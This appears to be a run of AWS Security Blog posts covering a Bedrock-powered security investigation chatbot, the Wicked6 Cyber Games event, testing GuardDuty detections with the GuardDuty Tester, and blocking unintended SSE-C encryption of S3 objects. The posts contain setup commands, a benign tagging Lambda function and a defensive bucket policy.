  4. Build and deploy the app using the following commands:
    npm install -g aws-cdk
    npm install 
    cdk synth
    

  5. Run the following commands in your terminal while signed in to your subscriber AWS account. Replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
    cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    cdk deploy –all
    

As part of the CDK deployment, there is an Output value for the React Application URL (FrontendAppStack.ReactAppUrl). You will use this value to interact with the GenAI application. Wait up to 5 mins for the URL to be live.

Post-deployment configuration steps

Now that you’ve deployed the solution, you need to add permissions to allow the Lambda function’s AWS Identity and Access Management (IAM) role and Amazon Bedrock to interact with your Security Lake data.

Grant permission to the Security Lake database

  1. Copy the Lambda’s role ARN from the “BedrockAppStack” CloudFormation stack. The resource in the stack is named “athenaAgentSecurityLakeActionGroupLambdaServiceRole********”.
  2. Go to the Lake Formation console.
  3. Select the amazon_security_lake_glue_db_<YOUR-REGION> database. For example, if your Security Lake is in us-east-1, the value would be amazon_security_lake_glue_db_us_east_1
  4. For Actions, select Grant.
  5. In Grant Data Permissions, select SAML Users and Groups.
  6. Paste the Lambda function IAM role ARN from Step 1.
  7. In Database Permissions, select Describe, and then choose Grant.

Grant permission to Security Lake tables

You must repeat the following steps for each source configured within Security Lake. For example, if you have four sources configured within Security Lake, you must grant permissions for the Lambda function IAM role to each table. If you have multiple sources that are in separate Regions and you don’t have a rollup Region configured in Security Lake, you must repeat the steps for each source in each Region.

The following example grants permissions to the Security Hub table within Security Lake. For more information about granting table permissions, see the AWS Lake Formation user guide.

  1. Copy the Lambda’s role ARN from the “BedrockAppStack” CloudFormation stack. The resource in the stack is named as “athenaAgentSecurityLakeActionGroupLambdaServiceRole********”.
  2. Go to the Lake Formation console.
  3. Select the amazon_security_lake_glue_db_<YOUR-REGION> database.
    For example, if your Security Lake database is in us-east-1, the value would be amazon_security_lake_glue_db_us_east-1
  4. Choose View Tables.
  5. Select the amazon_security_lake_table_<YOUR-REGION>_sh_findings_1_0 table.
    For example, if your Security Lake table is in us-east-1, the value would be amazon_security_lake_table_us_east_1_sh_findings_1_0

    Note: Each table must be granted access individually. Selecting All Tables won’t grant the access needed to query Security Lake.

  6. For Actions, select Grant.
  7. In Grant Data Permissions, select SAML Users and Groups.
  8. Paste the Lambda function IAM role ARN from Step 1.
  9. In Table Permissions, select Describe, and then Grant.

Sync data sources

After you deploy the infrastructure, you need to sync the data sources in the Amazon Bedrock knowledge bases so that the data in Amazon S3 can be vectorized and made available in Amazon OpenSearch Serverless, which is the service used as a vector source by the knowledge bases in this solution.

  • In the Amazon Bedrock console, select Knowledge base and find the two Amazon Bedrock knowledge bases deployed in this solution: gen-ai-sec-lake-table-schema and gen-ai-sec-lake-runbooks. Navigate to each knowledge base and its data source. Then choose Sync for each data source.

Get the CloudFront distribution URL

As part of the sample solution, the chatbot uses an externally available CloudFront distribution URL. It’s recommended that you add appropriate security controls that align to your organization’s security requirements to the sample solution. For example, you might want to add authentication to CloudFront using Amazon Cognito and Lambda@Edge to help prevent unauthorized users from accessing this chatbot. You can also configure secure access and restrict access to the content.

  1. Navigate to CloudFormation in the console.
  2. In the Stacks section, select the FrontendAppStack.
  3. Select the Outputs tab.
  4. Copy the value ReactAppUrl.

Investigate with your security chatbot

Now that you’ve deployed the sample solution and configured the appropriate permissions, you’re ready to use natural language input to generate and invoke SQL queries and to recommend internal incident response playbooks.

Generate and invoke SQL queries

Although most security professionals already know how to create and invoke SQL queries, time is extremely important during a possible security event. Adding natural-language-to-SQL capability to the security agent can help reduce your mean time to respond, which can reduce the overall impact of a security event. Furthermore, you can use these same techniques for threat hunting in your AWS environment.

Question 1: Which AWS accounts have the most security findings for EC2 instances in the last 7 days?

Answer 1: The query results show the top two AWS accounts with the most security findings related to EC2 instances in the last 7 days. The account with ID XXXXXX10 had the highest number of findings at 252, followed by account XXXXXX28 with 197 findings.

The query covered the key requirements, so I provided the final answer summarizing the top accounts and their finding counts.

The question and response are shown in Figure 2.

Figure 2: Response for most EC2 security findings

Figure 2: Response for most EC2 security findings

The more context you provide to the chatbot, the better the query that will be generated. Providing a time window also gives a smaller data set to review and give quicker results.

Question 2: In those AWS accounts, what were the top EC2 security finding types?

Answer 2: Based on the query results, the top EC2 security finding types in the AWS accounts with the most EC2 instance findings in the last 7 days were:

For account XXXXXX10:

  1. “Compliance Finding: Update” with 252 findings

For account XXXXXX28:

  1. “Compliance Finding Update” with 166 findings
  2. “Compliance Finding Create” with 24 findings
  3. “Vulnerability Finding: Update” with 2 findings
  4. “Vulnerability Finding: Create” with 2 findings.

The question and response are shown in Figure 3.

Figure 3: Response for top EC2 security finding types

Figure 3: Response for top EC2 security finding types

The results show that the issues are primarily around Security Hub controls mapped to the type_name OCSF column. If you want to look at a different column, you can provide additional instructions or update the question.

Question 3: Which EC2 instances had vulnerability security findings?

Answer 3: Based on the query results, the following EC2 instances had vulnerability security findings in the AWS account with the most EC2 instance findings in the last 7 days:

In account XXXXXX28:

  1. arn:aws:ec2:us-east-1: XXXXXX28:instance/<instance-id>
  2. arn:aws:ec2:us-east-1: XXXXXX28:instance/<instance-id>

There were no vulnerability findings for EC2 instances in account XXXXXX10 during this time period.

The question and response are shown in Figure 4.

Figure 4: Response for EC2 instances with vulnerability security findings

Figure 4: Response for EC2 instances with vulnerability security findings

In this question, the search is narrowed down to two Amazon Elastic Compute Cloud (Amazon EC2) instances within a specific AWS account to take a deeper look into.

Recommend incident response playbooks

As part of this sample solution, we used the AWS Incident Response Playbook Samples GitHub repository and uploaded them to an S3 bucket. Alternatively, you can create or reference your own playbooks to investigate and respond to various security events to refer to. After each question, the chatbot provides an answer along with an Amazon S3 URL to the playbook. The security analyst must have the appropriate permissions to download the playbook from Amazon S3.

Question 1: Do I have any playbooks that would help investigate a compromised EC2 instance for crypto mining or malware?

Answer 1: Yes, the search results include a relevant playbook for investigating a potentially compromised EC2 instance that could be used for crypto mining, malware, or ransomware. The key steps outlined in the playbook are:

  1. Acquire, preserve, and document evidence – Identify indicators of compromise, determine attack vector, document impacted applications/users
  2. Contain the incident – Isolate the compromised instance if possible without service disruption, remove from auto-scaling group if applicable
  3. Eradicate the incident – Follow the steps to remove the malware/crypto miner, restore from known good backups/AMIs
  4. Recovery – Spin up new instances from trusted AMIs, restore the data, and monitor for persistence of the threat
  5. Lessons learned – Analyze the incident, identify root causes, and implement preventative measures

The playbook provides detailed guidance on each of these phases in the context of an EC2 ransomware incident, but the overall process can be adapted for investigating crypto mining, malware, or other threats on EC2 as well.

The question and response are shown in Figure 5.

Figure 5: Response for EC2 IR playbooks

Figure 5: Response for EC2 IR playbooks

The previous threat-hunting exercise identified two EC2 instances that had vulnerabilities present. After further investigation, if a security analyst believes the EC2 instance is compromised, they can ask for an IR playbook to respond to the security event. Once they determine which playbook makes the most sense, they can either click on the S3 URL or look at other playbooks to use.

Question 2: Do I have any playbooks that would help respond to ransomware in my S3 bucket?

Answer 2: Yes, the search results include a playbook that can help respond to a ransomware incident involving an S3 bucket. The “Incident Response Playbook Template for Unintended Access to an Amazon S3 Bucket” outlines steps for:

  1. Gathering evidence of the unintended access
  2. Containing the incident by restricting access to the affected bucket(s)
  3. Eradicating the issue by removing any malicious data/objects and restoring from backup
  4. Recovering by re-enablement access to the bucket for legitimate users
  5. Conducting post-incident activities like reviewing logs, determining root cause, and implementing preventative measures

While focused on generic unintended access rather than ransomware specifically, many of these steps could be adapted and applied to a ransomware scenario targeting data in S3. The playbook provides a solid framework for incident response on S3.

Additionally, the general “Ransomware Incident Response Playbook” template covers common steps for any ransomware incident, such as:

  1. Acquiring and preserving evidence of the ransomware infection
  2. Containing the incident by isolating affected systems
  3. Identifying and remove the ransomware
  4. Recovering data from backups or known good sources
  5. Conducting post-incident review

While not S3-specific, this playbook provides complementary guidance that could be used in conjunction with the S3 access playbook for an S3 ransomware incident.

The question and response are shown in Figure 6.

Figure 6: Response for S3 ransomware IR playbooks

Figure 6: Response for S3 ransomware IR playbooks

The response provides a high-level overview of the specific playbook that’s being referenced to provide the analyst with context before diving deeper into any single playbook.

Adding functionality to the security chatbot

This sample solution was developed to show the art of the possible. Each customer uses AWS resources to address their business needs in their own way, and security teams must be appropriately equipped to help secure their respective environments. Here are some possible enhancements that you can incorporate into the sample solution to align to your security use-cases and needs.

  1. Incorporate an Amazon DynamoDB table to use as part of reporting interactions tied to a specific event or finding GUID. By incorporating an audit trail, you can tie actions taken by the agent and associated resources to a security event and validate the outcome of the investigation before taking action.
  2. Tuning the backend chatbot agent to query Amazon Linux Security Center’s Common Vulnerabilities and Exposures (CVE) list or MITRE’s CVE list to see which AWS resources might be in scope and send out consolidated messages to resource owners with recommended actions.
  3. Tuning the backend chatbot agent to take natural language requests and respond with detectors or correlation rules for Amazon OpenSearch or query language for custom detections in your security information and event management (SIEM) tool.
  4. Adding a new data source to Athena, such as AWS Config, to provide the analyst with additional capabilities to query AWS resource configuration across the AWS environment that might have been impacted by a security event. For example, if a security finding shows that an S3 bucket has been made public, querying what and when other configuration changes were made to the S3 bucket.
  5. Incorporating multi-agent-orchestration to scale the use of multiple Amazon Bedrock agents that can be tuned towards niche security use cases by respective teams. The chatbot can speak directly to a classifier or controller, which then addresses the user’s natural language request and orchestrates across one or more agents to generate a response. For example, if a user asks which EC2 instances might have been impacted by a security event and which playbook to use to respond, the classifier agent could direct the initial query to the agent in this sample solution. In the same chat window, the analyst could ask if there are any open CVEs for the EC2 instances in scope to get a list of CVEs to address within the AWS account.
  6. For long running Athena queries, you can incorporate an AWS Step Function to the workflow and incorporate a task token to wait for the Athena results to return.

Clean up

If you deployed the security chatbot sample solution by using the Launch Stack button and the console with the CloudFormation template security_genai_chatbot_cfn, do the following to clean up:

  1. In the CloudFormation console for the account and Region where you deployed the solution, choose the SecurityGenAIChatbot stack.
  2. Choose the option to Delete the stack.

If you deployed the solution by using the AWS CDK, run the command cdk destroy --all.

Conclusion

The sample solution demonstrates how you can use task-oriented Amazon Bedrock agents and natural language input to help accelerate investigation and analysis and increase your overall security posture. We provided an example of a sample solution with a user interface that is powered by an Amazon Bedrock agent, which you can extend to add additional task-oriented agents, each with their own instructions, knowledge bases, and models. By extending the use of AI-powered agents, you can help your security team operate more efficiently across multiple security domains within your AWS environment.

The backend for the chatbot to investigate security events uses Security Lake, which normalizes data into Open Cybersecurity Schema Framework (OCSF); as long as the data schema is normalized, the solution can be applied to other data lakes within your AWS environment.

To learn more, see the other posts in this series:

Use the comments section to provide feedback. If you have questions about this post, start a new thread on the Generative AI on AWS re:Post or contact AWS Support.

Madhunika-Reddy-Mikkili

Madhunika Reddy Mikkili

Madhunika is a Data and Machine Learning Engineer at AWS. She is passionate about helping customers achieve their goals using data analytics and machine learning.

Author

Jonathan Nguyen

Jonathan is a Principal Security Solution Architect at AWS. He helps large financial services customers develop a comprehensive security strategy and solutions to meet their security and compliance requirements in AWS.

Harsh Asnani

Harsh Asnani

Harsh is a Machine Learning Engineer at AWS specializing in ML theory, MLOPs, and production generative AI frameworks. His background is in applied data science with a focus on operationalizing AI workloads in the cloud at scale.

Michael Massey

Michael Massey

Michael is a Cloud Application Architect at AWS, where he specializes in building frontend and backend cloud-centered applications. He designs and implements scalable and highly-available solutions and architectures that help customers achieve their business goals.t

AWS empowers global security culture at Wicked6 Cyber Games

Post Syndicated from Anne Grahn original https://aws.amazon.com/blogs/security/aws-empowers-global-security-culture-at-wicked6-cyber-games/

Wicked6 Cyber Games 2025 brought hundreds of women together worldwide from March 28–30. This dynamic virtual competition, sponsored by Amazon Web Services (AWS), helped attendees tackle real-world cybersecurity challenges through e-sports experiences. With 72 hours of women talking about cybersecurity, 11 cybersecurity games, and an attack and defense tournament streamed live, the weekend-long event highlighted the value of immersive learning while investing in the next generation of cybersecurity leaders.

Now in its sixth year, Wicked6 has established itself as more than just a competition—it’s become a cornerstone in building a collaborative security community. The Women’s Society of Cyberjutsu, a national 501(c)(3) nonprofit that promotes training, mentoring, and advancement of women and girls in cybersecurity careers, has co-hosted the event since its inception. This year’s theme was leveling up, and the virtual format enabled unprecedented global participation with 31 speakers and over 500 participants of all skill levels from 48 countries.

Keynotes and sessions

The event kicked off with an upbeat introduction from Wicked6 emcee Kristin Demoranville, founder and CEO of AnzenSage, Jessica Gulick, Executive Director of Wicked6 and founder of Cyber Esports Foundation, and Mari Galloway, CEO of Women’s Society of Cyberjutsu. The trio emphasized the importance of programs such as Wicked6 that provide women with space and opportunities to learn and grow, strengthen our confidence, and celebrate each other’s contributions to the cybersecurity community.

Keynotes featuring speakers from Africa, Australia, Japan, Saudi Arabia, and the US resonated with the multinational participants. Topics ranged from hacking and protecting AI in the age of large language models (LLMs) to drawing inspiration from science fiction novels, with an eye toward boosting skills.

In his introduction to keynote speaker Anna Collard, SVP of Content Strategy and Evangelist at KnowBe4 Africa, Hart Rossman, Global Security Services Vice President at AWS, noted the positive impact of time invested by Wicked6 participants and supporters. He pointed out that the opportunity the event provides to build relationships and practice both soft skills and technical skills is a great example of what it means to build strong security culture.

“At AWS, we recognize that security is a team sport. It’s about building community and raising the bar together, so we can overcome determined adversaries and make all of our customers, colleagues, and communities safer.” —Hart Rossman, Global Security Services Vice President at AWS

Technical sessions included a presentation focused on safeguarding Amazon Simple Storage Service (Amazon S3) buckets by two AWS women in security, Customer Incident Response Team (CIRT) Responder Jennifer Paz and Worldwide Specialist Security Solutions Architect Shahna Campbell. Paz and Campbell detailed an unusual increase of data encryption events in S3 buckets that used an encryption method known as server-side encryption using client-provided keys (SSE-C). This activity, which was recently detected by the AWS CIRT team and its automated security monitoring systems, has been attributed to malicious actors who obtained valid customer credentials and were using them to re-encrypt objects. Paz and Campbell demonstrated how collective security awareness and best practices can help prevent unauthorized access to S3 buckets and protect against ransomware events that abuse stolen credentials. Details of their investigation and prescriptive guidance for helping to prevent unintended encryption of Amazon S3 objects are available in a related AWS Security Blog post.

Gamified learning

A security-focused AWS Jam was integrated into Wicked6 for a unique, gamified learning experience. With AWS Jam, individuals and teams compete to solve a series of technical challenges in a lab-based cloud infrastructure that enhances practical understanding of AWS services and best practices. Additionally, Wicked6 participants had access to 11 different cybergame services, including Hack The Box, Haiku, InspireTech, and MetaCTF, fostering a collaborative learning environment where security practitioners at all levels could grow together.

An AWS GameDay during the event also focused on enhancing cloud security skills. Led by AWS ProServe Security and AWS Support experts Jonas Buecker, Hicham Terkiba, and Makendran Gunasekaran, the games focused on network security (including network log inspections), identity and access management (IAM) policies, and using application security techniques and AWS Web Application Firewall (AWS WAF) to help prevent SQL injections. One participant enthusiastically commented, “This was an amazing opportunity to practice hands-on AWS security learning,” underscoring the unique value of the experience.

Investing in tomorrow’s security leaders

AWS partnered to donate event tickets to South Africa’s MiDO Academy, which aims to create pathways out of poverty and meaningful employment opportunities for young people, while alleviating the pressures felt by business owners to upskill and integrate new cybersecurity talent. Dale Simons, CEO of MiDO Academy said, “The sponsored tickets from AWS didn’t just provide access to training—they gave our students entry into a global security community. Our young women now see themselves as part of a larger security mission, understanding that their contributions to cybersecurity can have worldwide impact.”

By combining technical challenges with mentorship and collaboration, Wicked6 helped participants work together to upskill and address tomorrow’s challenges. Gulick highlighted the event’s impact, stating “Wicked6 2025 was a success. Each year, women from all over the world join us for speakers, games, and networking. By learning to play cybersecurity games, these women can leverage games to learn new tech skills throughout their careers.”

No matter your role—whether you’re a seasoned professional or just starting your cybersecurity journey—continuous learning is key.

“It’s important as women and as cybersecurity professionals not to get comfortable with the status quo. Leveling up means stepping out of our comfort zones and doing things that scare us. Going to networking events, actively talking with people, connecting with people on LinkedIn, getting educated to improve skills, and putting ourselves out there. Wicked6 is the perfect place to do that this year and in the years to come!” —Mari Galloway, CEO of Women’s Society of Cyberjutsu

Pursuing the path to success

As cyber threats continue to evolve, AWS remains committed to strengthening global security culture through initiatives that promote active participation and partnership. This year’s Wicked6 Cyber Games exemplified how the security community can encourage and support future leaders with collaborative learning experiences and foster a more resilient and adaptable workforce.

For more information about AWS security culture, visit How AWS sustains a strong culture of security

If you have feedback about this blog post, submit comments in the Comments section below. You can also start a new thread on the AWS Security, Identity, and Compliance re:Post to get answers from the community.

Anne Grahn

Anne Grahn

Anne is a Senior Worldwide Security GTM Specialist at AWS, based in Chicago. She has 15 years of experience in the security industry and focuses on effectively communicating cybersecurity risk. She maintains a Certified Information Systems Security Professional (CISSP) certification.

Sarah Currey

Sarah Currey

As the Organization Excellence Leader for AWS Global Services Security, Sarah creates and optimizes security programs and solutions that protect AWS customers and internal teams. The initiatives foster a culture of security that encourages continuous improvement in our security practices and innovation while empowering everyone to own security.

Testing and evaluating GuardDuty detections

Post Syndicated from Marshall Jones original https://aws.amazon.com/blogs/security/testing-and-evaluating-guardduty-detections/

Amazon GuardDuty is a threat detection service that continuously monitors, analyzes, and processes Amazon Web Services (AWS) data sources and logs in your AWS environment. GuardDuty uses threat intelligence feeds, such as lists of malicious IP addresses and domains, file hashes, and machine learning (ML) models to identify suspicious and potentially malicious activity in your AWS environment. When GuardDuty identifies a potential security issue, it creates a GuardDuty finding that gives you information about what the potential security issue is, the resources involved, and contextualized information that’s key to remediating the issue. GuardDuty helps you monitor for the latest threats by continually expanding threat detection to emerging and common threats.

Whether you’re new to GuardDuty or are a long-time user, it’s recommended that you understand the different GuardDuty finding types and finding details and practice responding to them as suggested in the security pillar of AWS Well-Architected.

In this blog post, I dive deep into an open source tool for testing GuardDuty findings and then walk through three examples of how you can use this tool to test and improve your response to GuardDuty findings.

Overview

If you want to learn more about GuardDuty, you can read about the finding types in this AWS documentation. However, customers often want realistic findings in their environment to understand what a finding looks like and to practice responding hands on. While you can use GuardDuty to create sample findings in your environment, these findings are approximations populated with placeholder values and look different from real findings. Additionally, you cannot practice remediation with these findings because they’re not tied to actual resources in your account. This can be helpful if you only want to see what details are in a finding, but if you want to practice a real-world scenario, these sample findings might not be adequate.

To address this use case and provide customers with a secure and reliable way to test the threat detection capabilities of GuardDuty, the GuardDuty service team launched an open source project called GuardDuty Tester. The GuardDuty Tester creates infrastructure in your environment to simulate different security issues so that you can test GuardDuty findings that mirror actual security issues that you might encounter, such as crypto mining or a reverse shell being created on an Amazon Elastic Compute Cloud (Amazon EC2) instance. The GuardDuty Tester was originally released in 2018 as an AWS CloudFormation template and was focused more on testing investigation workflows than on a wide range of finding types. AWS has since released an updated version that uses the AWS Cloud Development Kit (AWS CDK) to make the infrastructure code easier to read and expanded the test coverage to over 100 unique finding types and resource combinations.

The ability to create findings across different resource types such as Amazon EC2, Amazon Simple Storage Service (Amazon S3), and Amazon Elastic Kubernetes Service (Amazon EKS) is a valuable resource for your security team, allowing them to simulate various types of threats with isolated infrastructure so that you don’t need to compromise your deployed workloads to improve response actions and techniques. Remember that the GuardDuty Tester doesn’t cover every possible scenario, but is instead focused on threat intelligence and rules-based findings. Anomaly-based findings, which require learning about how you operate your environment, aren’t included in the GuardDuty Tester.

Getting started with the GuardDuty Tester

The GuardDuty Tester is deployed by using the AWS CDK to create the required infrastructure and scripts to generate the GuardDuty findings. For safety, AWS recommends that you deploy the GuardDuty Tester in a nonproduction environment in an account that’s used specifically for this purpose. This way, your security team can differentiate between test GuardDuty findings and findings for other workloads that they’re monitoring.

In this post, I won’t walk through configuring the GuardDuty Tester because this is already documented in the GuardDuty documentation. Instead, I will go over what you need to know about the GuardDuty Tester and some of the benefits.

Figure 1 shows the GuardDuty Tester architecture, which includes the resources necessary to create GuardDuty findings for various protection plans such as Amazon S3 buckets, Amazon EC2 instances, and an Amazon EKS cluster. The tester also deploys a dedicated GuardDuty Tester instance where you will run the scripts needed to create the GuardDuty findings.

Figure 1: GuardDuty Tester architecture

Figure 1: GuardDuty Tester architecture

The GuardDuty Tester provides key features including:

  • A wide range of threat scenario simulations: Resources that the GuardDuty Tester can create findings for include Amazon S3, AWS Identity and Access Management (IAM), Amazon Elastic Container Service (Amazon ECS) for both Amazon EC2 and AWS Fargate hosted workloads, Amazon EKS, and AWS Lambda and covers over 105 threat scenarios. This includes GuardDuty runtime monitoring as well as other GuardDuty protection plans.
  • Access through AWS Systems Manager: The GuardDuty Tester provides secure access by using Systems Manager to minimize open ports to the internet and allowing access only through Systems Manager.
  • Modular scripts: With an expanded library of tests available, the GuardDuty Tester accepts user parameters to set the scope of the tests to run, which gives you greater flexibility for different testing scenarios.

Setting up the GuardDuty Tester environment is straightforward and requires only a few commands. As outlined in the documentation and the README file in the repository, there are a number of prerequisites to set up the stack. These prerequisites include Python 3+, git, the AWS Command Line Interface (AWS CLI), AWS Systems Manager Session Manager plugin, npm, Docker, and a subscription to Kali Linux image for Amazon EC2. You will have to subscribe to the Kali Linux instance in AWS Marketplace, but will be charged for the instance only while the GuardDuty Tester is deployed. After these prerequisites are met, you can clone the repository, install the packages, and deploy the GuardDuty Tester to your AWS account.

Deploying the GuardDuty Tester can take 20–30 minutes, but if you’re following along with this post, I assume that you have deployed the GuardDuty Tester into your environment and have started your Systems Manager session as stated on Part A of Step 3 – Run tester scripts in the GuardDuty documentation. Now, I will dive into the first testing example.

Manual investigation

The first test use case is about getting familiar with what GuardDuty findings look like and the details that a finding gives you. This might be one of your first steps after turning on GuardDuty, or this might be an activity that you perform to help new team members understand GuardDuty findings.

To start a manual investigation:

  1. Run the following command in your Systems Manager session to view the GuardDuty Tester options.
    Python3 guardduty_tester.py --help
  2. Run the following command in your Systems Manager session to create the first test finding.
    Python3 guardduty_tester.py - -ec2 - -runtime only - -tactics impact
  3. Before creating the findings, the GuardDuty Tester prompts you to confirm that it’s allowed to change GuardDuty settings in the environment. For example, if you’ve chosen to create findings related to the GuardDuty runtime monitoring feature but don’t have this feature enabled, the GuardDuty Tester will enable it for the tests and then disable it after testing is complete.

    Note: This will start the 30-day trial of the enabled features in this account, in this AWS Region, even if the feature is disabled after testing is complete. More information about GuardDuty pricing and free trials can be found on the GuardDuty pricing page.

  4. After choosing y which indicates “yes”, the GuardDuty Tester reports the number of domain reputation findings it’s expecting. Figure 2 shows an example of the expected findings. You can learn more about domain reputation findings in the GuardDuty finding documentation.

    Figure 2: Generated GuardDuty findings in the console

    Figure 2: Generated GuardDuty findings in the console

  5. After the GuardDuty Tester is finished, wait a few minutes and then go to the AWS Management Console for GuardDuty to see the findings. In this example, there are four new GuardDuty findings as expected from step 4 and shown in Figure 3. With the findings generated, you can start your manual investigation.

    Figure 3: GuardDuty finding details

    Figure 3: GuardDuty finding details

In the preceding figure, you can see some of the finding details presented—such as the action type and the process information—that can help you quickly identify what trigger started the suspicious communication. From here, I encourage you to use this finding to practice your runbooks for investigation and response. For example, you might start with validating and triaging the finding before moving into evidence collection and remediation. If you don’t have incident response runbooks already built, you can use this finding as an example to get started. There are multiple open source examples such as AWS incident response playbooks and AWS customer response playbook. A runbook will help your team evaluate the information provided in the GuardDuty finding and understand what else they need to know about your specific environment to properly respond to the finding. For example, in the finding, you will have resource and actor information but not things such as who is the account owner or point of contact for security for that account.

Creating alerts

The next use case highlights how to create alerts based on GuardDuty findings. When setting up alerting automation with tools such as Amazon Simple Notification Service (Amazon SNS) and Slack, you should create a finding using the GuardDuty Tester to test that you’ve configured your alert correctly. See Creating custom responses to GuardDuty findings for information about creating alerts with either of these tools. Figure 4 shows a sample EventBridge rule that will send GuardDuty findings to SNS.

Figure 4: EventBridge rule to send GuardDuty findings to SNS

Figure 4: EventBridge rule to send GuardDuty findings to SNS

For this post, I assume that you’ve already configured an Amazon EventBridge rule and Amazon SNS alert.

To test alerts:

  1. Run the following command in your Systems Manager session to create a privileged container finding.
    Python3 guardduty_tester.py - -finding ‘PrivilegedEscalation:Kubernetes/PrivilegedContainer’
  2. Shortly after creating this finding, you should see an SNS alert based on the finding type.

Figure 5: SNS notification from a GuardDuty finding

Figure 5: SNS notification from a GuardDuty finding

If you’ve configured the alert correctly, you will see an email similar to Figure 5. The email demonstrates that SNS notifications were successfully configured and tested using the GuardDuty Tester. If this is a new finding, you will receive this SNS notification shortly after the GuardDuty Tester generates the finding, but if this is an updated finding, then the timing will be based on the notification frequency configured in the account.

There are many ways that customers consume GuardDuty findings in their environments. Whether you’re using Amazon SNS or another mechanism such as a chat application, ticketing system, or a security information and event management (SIEM) solution, you can use this example of an EventBridge rule and the GuardDuty Tester to test out your notification pipeline.

Automated response

For the third use case, I show you how to create an automated action based on a GuardDuty finding. In this example, I create a finding based on an EC2 instance connecting to a Bitcoin mining domain, then based on this finding, I use Lambda to tag the instance to assist with identification during that investigation steps that follow. Although this is a simple example, it shows you what you can do by combining EventBridge rules and Lambda functions. If you want to create an automated response for GuardDuty runtime monitoring findings that requires making a host-level modification, you can use EventBridge rules with AWS Systems Manager Run Command to run commands locally on a host to remediate a security issue.

Start by creating a Lambda function that will take a GuardDuty event delivered by EventBridge, pull out the instance ID information, and then use that as a parameter in the create_tags API call. See the following example code.

import json
import boto3
import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    try:
        # Extract the necessary information from the GuardDuty finding
        instance_id = event['detail']['resource']['instanceDetails']['instanceId']
        account_id = event['detail']['accountId']
        region = event['detail']['region']

        # Create an EC2 client
        ec2 = boto3.client('ec2', region_name=region)

        # Add the "infected" and "cryptomining" tag value pair to the instance
        ec2.create_tags(
            Resources=[instance_id],
            Tags=[
                {
                    'Key': 'infected',
                    'Value': 'cryptomining'
                }
            ]
        )

        logger.info(f"Tagged instance {instance_id} with 'infected=cryptomining' in account {account_id} and region {region}")
        return {
            'statusCode': 200,
            'body': 'Instance tagged successfully'
        }
    except Exception as e:
        logger.error(f"Error tagging instance {instance_id}: {str(e)}")
        return {
            'statusCode': 500,
            'body': f"Error tagging instance: {str(e)}"
        }

Next, I create an EventBridge rule specific to the Bitcoin mining finding that I want to test, shown in Figure 6. The target is the Lambda function that I just created.

Figure 6: EventBridge rule for crypto mining GuardDuty finding

Figure 6: EventBridge rule for crypto mining GuardDuty finding

Now that the EventBridge rule is in place with the Lambda function as the target, I can use the GuardDuty Tester to trigger a Bitcoin mining finding and test my solution with the following command.

Python3 guardduty_tester.py - - finding ‘CryptoCurrency:EC2/BitcoinTool.B!DNS’

After the finding is generated, I go to my EC2 instance, where there’s a new instance tag with a key of infected and a value of cryptomining, shown in Figure 7.

Figure 7: Updated tags after automated response

Figure 7: Updated tags after automated response

Although this is a general example, you can use the same approach across various actions that you might take in response to a GuardDuty finding and then test them using the GuardDuty Tester. Examples include using Lambda to add logic in AWS WAF, a network access control list (network ACL), or AWS Network Firewall to block suspicious traffic, or use Systems Manager Run Command to end a malicious process that’s running on a host.

Conclusion

The updated GuardDuty Tester represents a significant advancement in helping organizations validate and gain confidence in GuardDuty threat detection. The GuardDuty Tester now provides more comprehensive coverage of GuardDuty runtime monitoring and protection plans across various AWS services.

By using the GuardDuty Tester and following the use cases in this post, you can proactively assess your threat detection readiness, identify potential gaps, and implement necessary measures to help you fortify your AWS environments against evolving cyber threats.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Marshall Jones
Marshall Jones

Marshall is a Worldwide Security Specialist Solutions Architect at AWS. His background is in AWS consulting and security architecture and focused on a variety of security domains including edge, threat detection, and compliance. Today, he’s focused on helping enterprise AWS customers adopt and operationalize AWS security services to increase security effectiveness and reduce risk.

Preventing unintended encryption of Amazon S3 objects

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects/

At Amazon Web Services (AWS), the security of our customers’ data is our top priority, and it always will be. Recently, the AWS Customer Incident Response Team (CIRT) and our automated security monitoring systems identified an increase in unusual encryption activity associated with Amazon Simple Storage Service (Amazon S3) buckets.

Working with customers, our security teams detected an increase of data encryption events in S3 that used an encryption method known as server-side encryption using client-provided keys (SSE-C). While this is a feature used by many customers, we detected a pattern where a large number of S3 CopyObject operations using SSE-C began to overwrite objects, which has the effect of re-encrypting customer data with a new encryption key. Our analysis uncovered that this was being done by malicious actors who had obtained valid customer credentials, and were using them to re-encrypt objects.

It’s important to note that these actions do not take advantage of a vulnerability within an AWS service—but rather require valid credentials that an unauthorized user uses in an unintended way. Although these actions occur in the customer domain of the shared responsibility model, AWS recommends steps that customers can use to prevent or reduce the impact of such activity.

Using active defense tools, we have implemented automatic mitigations that will help to prevent this type of unauthorized activity in many cases. These mitigations have already prevented a high percentage of attempts from succeeding, without customers taking steps to protect themselves. However, the threat actors used valid credentials, and it is difficult for AWS to reliably distinguish valid usage from malicious use. Therefore, we recommend that customers follow best practices to mitigate risk.

We recommend that customers implement these four security best practices to protect against the unauthorized use of SSE-C:

  1. Block the use of SSE-C unless required by an application
  2. Implement data recovery procedures
  3. Monitor AWS resources for unexpected access patterns
  4. Implement short-term credentials

I. Block the use of SSE-C encryption

If your applications don’t use SSE-C as an encryption method, you can block the use of SSE-C with a resource policy applied to an S3 bucket, or by a resource control policy (RCP) applied to an organization in AWS Organizations.

Resource policies for S3 buckets are commonly referred to as bucket policies and allow customers to specify permissions for individual buckets in S3. A bucket policy can be applied using the S3 PutBucketPolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how bucket policies work in the S3 documentation. The following example shows a bucket policy that blocks SSE-C request for a bucket called your-bucket-name>.

{
    "Version": "2012-10-17",    
    "Statement": [
        {
            "Sid": "RestrictSSECObjectUploads",
            "Effect": "Deny",
            "Principal": "*",
            "Action": "s3:PutObject",
            "Resource": "arn:aws:s3:::<your-bucket-name>/*",
            "Condition": {
                "Null": {
                    "s3:x-amz-server-side-encryption-customer-algorithm": "false"
                }
            }
        }
    ]
 }

